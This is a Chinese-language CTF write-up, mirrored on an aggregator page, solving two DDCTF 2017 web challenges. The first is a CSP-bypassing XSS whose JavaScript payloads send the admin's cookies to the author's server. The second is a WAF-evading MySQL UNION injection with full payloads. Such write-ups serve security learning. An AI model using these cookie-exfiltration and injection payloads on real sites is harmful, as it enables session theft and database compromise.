4

DDCTF 2017 两道 Web 题 Writeup

 3 years ago
source link: https://phuker.github.io/ddctf2017-web.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

上个月洒家参加了 DDCTF 玩了几把,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。

绕过 CSP 的 XSS

分析

这题出得还是有点意思的。题目是一个 Message Board,可以给 admin 发送 message。发送完毕后提示 Success! wait for admin reading your message.,并不知道发送到哪了。同时题目设置了 CSP:

Content-Security-Policy: default-src 'self'; script-src 'self'

显然无法加载其他域的资源。这里我简单测试了一下,发现这样的可以有反应:

<meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?refresh'">

然后请求到自己的服务器,HTTP 请求会带有一个 Referer 头可以看到

http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=xxxhash....

这样的满足 CSP 的相同域的 URL,访问发现就是用户的原始输入。

思路

那么思路就很简单了,提交 JavaScript 代码,结合 meta 标签,就可以得到一个相同域的可控内容,可以作为 JavaScript 的 URL,然后用 <script> 标签引用就可以执行任意的 JavaScript。

这里有个小技巧,把 <meta> 标签加到注释里面,这样这个 URL 既是 HTML 又是合法 JavaScript:admin 直接访问这个 message 的时候是作为 HTML 解析,<meta> 标签获得 referer 的 URL。然后再弄到 <script> 标签 src 属性里面,就作为 JavaScript 解析,meta 标签被注释掉就不会影响 js。

做题过程

提交这个来拿 Cookie:

// <meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?refresh'">
var meta = document.createElement('meta');
meta.setAttribute('http-equiv','refresh');
meta.setAttribute('content',"0; url='http://IP/xxx.jpg?cookie="+encodeURIComponent(document.cookie)+"'");
document.body.append(meta);

得到 referer 的 URL:

http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=A

然后弄一个 <script> 标签:

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta http-equiv="refresh" content="2; url='http://IP/xxx.jpg?test3'">
</head>
<body>
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=A"></script>
</body>
</html>

拿到 Cookie:

114.215.24.14 "-" "-" [20/May/2017:16:20:31 +0800] "GET /xxx.jpg?cookie=hit%3Dc2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 HTTP/1.1" 200 15075 "http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=B" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
setcookie("flag", "flag{xxxxxxxxxxxxxxxx}", time()+36000000, "/t2/f1ag_1s_h3r3");

显然 flag 在 path 为 /t2/f1ag_1s_h3r3 的 Cookie 里面。那么用一个 iframe 就可以了。重复刚才的步骤,搞 JavaScript 代码:

// <meta http-equiv="refresh" content="0; url='http://IP/xxx.jpg?test4'">
var iframe = document.getElementById('iframe');
setTimeout(function(){
    var meta = document.createElement('meta');
    meta.setAttribute('http-equiv','refresh');
    meta.setAttribute('content',"0; url='http://IP/xxx.jpg?flag="+encodeURIComponent(iframe.contentDocument.cookie)+"'");
    document.body.append(meta);
},1000);

<script> 标签:

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta http-equiv="refresh" content="2; url='http://IP/xxx.jpg?test5'">
</head>
<body>
<iframe src="/t2/f1ag_1s_h3r3/" id="iframe"></iframe>
<script src="http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=C"></script>
</body>
</html>

拿到 flag:

114.215.24.14 "-" "-" [20/May/2017:16:40:58 +0800] "GET /xxx.jpg?flag=flag%3Dflag%257BDDCTF-82b6ac5623b04c8f823d29fa73875c9c%2540didichuxing.com%257D%3B%20hit%3Dc2V0Y29va2llKCJmbGFnIiwgImZsYWd7eHh4eHh4eHh4eHh4eHh4eH0iLCB0aW1lKCkrMzYwMDAwMDAsICIvdDIvZjFhZ18xc19oM3IzIik7 HTTP/1.1" 200 15075 "http://114.215.24.14/t2/adm1n_r3ad_m3ssag3.php?hash=D" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
"flag{[email protected]}"

附:其他类似的利用方法:

搜到一篇文章 https://paper.seebug.org/91/,学到了 prefetch bypass CSP 的姿势。发送一个 <link rel="prefetch" href="http://IP/"> 就可以加载其他域的资源。那么 payload 就可以用:

var url = 'http://IP/?cookie=' + encodeURIComponent(document.cookie);
var n = document.createElement("link");
n.setAttribute("rel", "prefetch");
n.setAttribute("href", url);
document.head.appendChild(n);

让输入既是 HTML 又是合法 JavaScript,可以用上文的注释,也可以搞一个无关变量。

var a = '<link rel="prefetch" href="http://VPS-IP/">';

吐槽:Proof of Work 根本 proof 不了什么 work

发送的时候要求输入

verification code (substr(md5($_POST['code']),6,6)==='cbc72f') : 

这样的验证码。然而现在有现成的库 libproofofwork 可以飞速生成验证码,也可以自己手动生成字典来解决这个问题,对于老司机而言效果还不如传统图片验证码。

有了这种解决方法,为了节约时间同时让注意力集中在题目本身,可以写脚本辅助发送 payload。

各种防护的 SQL 注入

http://118.190.134.8/t1/news.php?id=1 这是一个简单的新闻网站,通过 URL 的 id 参数选择新闻。

初步探测

有三种返回状态:

  • error MySQL 出错
  • R U a script little boy??? 被 WAF 过滤
  • 正常返回,一篇文章有标题和内容

根据 http://118.190.134.8/t1/news.php?id=1a 报错,可以猜测 SQL 语句类似

SELECT * FROM news WHERE id = 用户输入

其中用户输入并没有引号包裹。(这个经验可以通过手动执行 1 1a '1' '1a' 4 种 SQL 来得到)

在这个网站上证明这一点:

WAF 过滤

手工简单测试可以发现,过滤了:

'
空格
,
"
/
\
sleep

后来又发现过滤了 secret
select
union
(
)
%09
*
from

绕过 WAF 的 trick

这道题主要就是绕过 WAF,先来写一下绕过 WAF 用到的 trick。以下假设数据库的表有 3 列。

过滤了空格

可以用 %09 %0a 这种绕过。

过滤了逗号

是个关键点。可以用 join 绕过:

select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)
select 1 as a,  2 as b, 3 as c

过滤了字段名 secret

使用别名替换原始字段名的 trick 绕过:

select f1, f2 from (select 1 as f1, 2 as f2, 3 as f3 from news where 1=2 union select * from news) as sb

就相当于从 news 表中查询前两列。

如果连表名都被干掉了?

TCTF 2017 决赛 web LuckyGame 就遇到了这种情况。在那道题的特殊情况下,可以用 select ... into ... 利用已有的 SQL 注入点把要的信息先搞到一个用户变量里面,然后再在别的地方查询这个变量就可以了。详情略。

做题过程

有了上面的绕过 WAF 方法,具体的过程如下(空格仍然保留,使用时自行替换成 %09):确定标题是第二列,内容是第三列:

0 union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c JOIN (select 4)d)

查询 user()version()

0 union select * from ((select 1)a JOIN (select user())b JOIN (select version())c JOIN (select 4)d)

猜测表名 news,字段 id title content:

0 union select * from ((select 1)a JOIN (select title from news where id=4)b JOIN (select 3)c JOIN (select 4)d)

显然一共有 4 个字段,还剩一个字段。手动猜了一下,flag 这种都不正确,于是读取 INFORMATION_SCHEMA.COLUMNS 表:

0 union select * from ((select 1)a JOIN (select column_name from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x6e657773 and ORDINAL_POSITION=4)b JOIN (select 3)c JOIN (select 4)d)

显示另一个字段是 secret(WTF??要知道就使劲猜了)。这时候想着直接用上文方法查询 secret 字段即可出 flag,但是试了一下直接被 WAF 过滤 secret 这个词,这里是第二个关键点。

用别名的方法绕过:

select concat(field_1,field_2,field_3,field_4) from (select 1 as field_1, 2 as field_2, 3 as field_3, 4 as f4 from news where 1=2 union select * from news) as sb

field_1 这样字段的别名代替原来的字段名。

由于逗号同时被过滤了,那么就需要再用上文的 trick,变为:

select f4 from ( select * from ((select 1 as f1)t1 join (select 2 as f2)t2 join (select 3 as f3)t3 join (select 4 as f4)t4  ) where 1=2 union select * from news where id=4) as sb

最终的 Payload:

0 union select * from ((select 1)a JOIN (select f4 from ( select * from ((select 1 as f1)t1 join (select 2 as f2)t2 join (select 3 as f3)t3 join (select 4 as f4)t4  ) where 1=2 union select * from news where id=4) as sb)b JOIN (select 3)c JOIN (select 4)d)
http://118.190.134.8/t1/news.php?id=0%09union%09select%09*%09from%09((select%091)a%09JOIN%09(select%09f4%09from%09(%09select%09*%09from%09((select%091%09as%09f1)t1%09join%09(select%092%09as%09f2)t2%09join%09(select%093%09as%09f3)t3%09join%09(select%094%09as%09f4)t4%09%09)%09where%091=2%09union%09select%09*%09from%09news%09where%09id=4)%09as%09sb)b%09JOIN%09(select%093)c%09JOIN%09(select%094)d)

扩展阅读


Recommend

  • 9
    • phuker.github.io 3 years ago
    • Cache

    TCTF 2017 Final 部分 Web 题 Writeup

    近期洒家参加了 TCTF 决赛 RisingStar CTF,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。 关于比赛¶ 说起来这还是洒家第...

  • 11

    1 min read广东强网杯两道Web Writeup2019-09-12@level5师傅发在群里的题目,做了两道web4 phphttp://119.61.19.212:8082/index.php<?php error_reporting(E_ALL^E_NOTICE^E_WARNING); function GetYourF...

  • 10
    • ultramangaia.github.io 3 years ago
    • Cache

    DDCTF 2018 Writeup

    Web1 数据库的秘密很容易想到伪造XFF 接下来就是注入了。 首先,我们发现有个校验 然后,看了下js,貌似有点复杂,这里采用 sqlmap+python代理服务器(代理服务器处理校验的代码,通过python的execjs模块调用js代码)...

  • 7
    • ultramangaia.github.io 3 years ago
    • Cache

    湖湘杯 CTF 2017 Writeup

    湖湘杯复赛Web 300 拿个shell就给flag看源码发现过滤了各种字符 <?php ini_set("display_errors", "On"); error_reporting(E_ALL | E_STRICT); if(!isset($_GET['content'])){ show_source(__FILE__); die(); } func...

  • 7
    • ultramangaia.github.io 3 years ago
    • Cache

    世安杯 CTF 2017 Writeup

    1. ctf 入门级题目下源代码,发现可以利用ereg的00截断漏洞,burpsuite发送get请求/shian-rao/?password=1%00– 2. 曲奇饼访问,一段不知名文字,然后发现网址/shian-quqi/index.php?line=&file=a2V5LnR4dA== file参数明显b...

  • 5
    • ultramangaia.github.io 3 years ago
    • Cache

    Hitcon CTF 2017 Writeup

    Baby Ruby Escaping#!/usr/bin/env ruby require 'readline' proc { my_exit = Kernel.method(:exit!) my_puts = $stdout.method(:puts) ObjectSpace.each_object(Module) { |m| m.freeze if m != Readline } set_trace_func proc { |...

  • 14
    • ultramangaia.github.io 3 years ago
    • Cache

    Pwn2win CTF 2017 Writeup

    Pwn2win CTF 2017 Writeup 发布时间 : 2017-11-27 19:11 Black PentestingOur agents found a BSC server which is used to co...

  • 1
    • cyc1e183.github.io 2 years ago
    • Cache

    OGeek决赛两道Web总结分析

    OGeek决赛两道Web总结分析 发表于 2019-09-26...

  • 5
    • ultramangaia.github.io 2 years ago
    • Cache

    强网杯 CTF 2017 Writeup

    brokenJsfuck直接console中跑发现报错后面加个] 看到最后面的(),应该是函数调用,去掉 who are you?设置cookie还是没有权限,从cookie入手,base64解码th...

  • 4
    • ultramangaia.github.io 2 years ago
    • Cache

    GCTF 2017 Writeup

    GCTF 2017 Writeup 发布时间 : 2017-11-27 19:31 2017 首届全球华人网络安全技能大赛...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK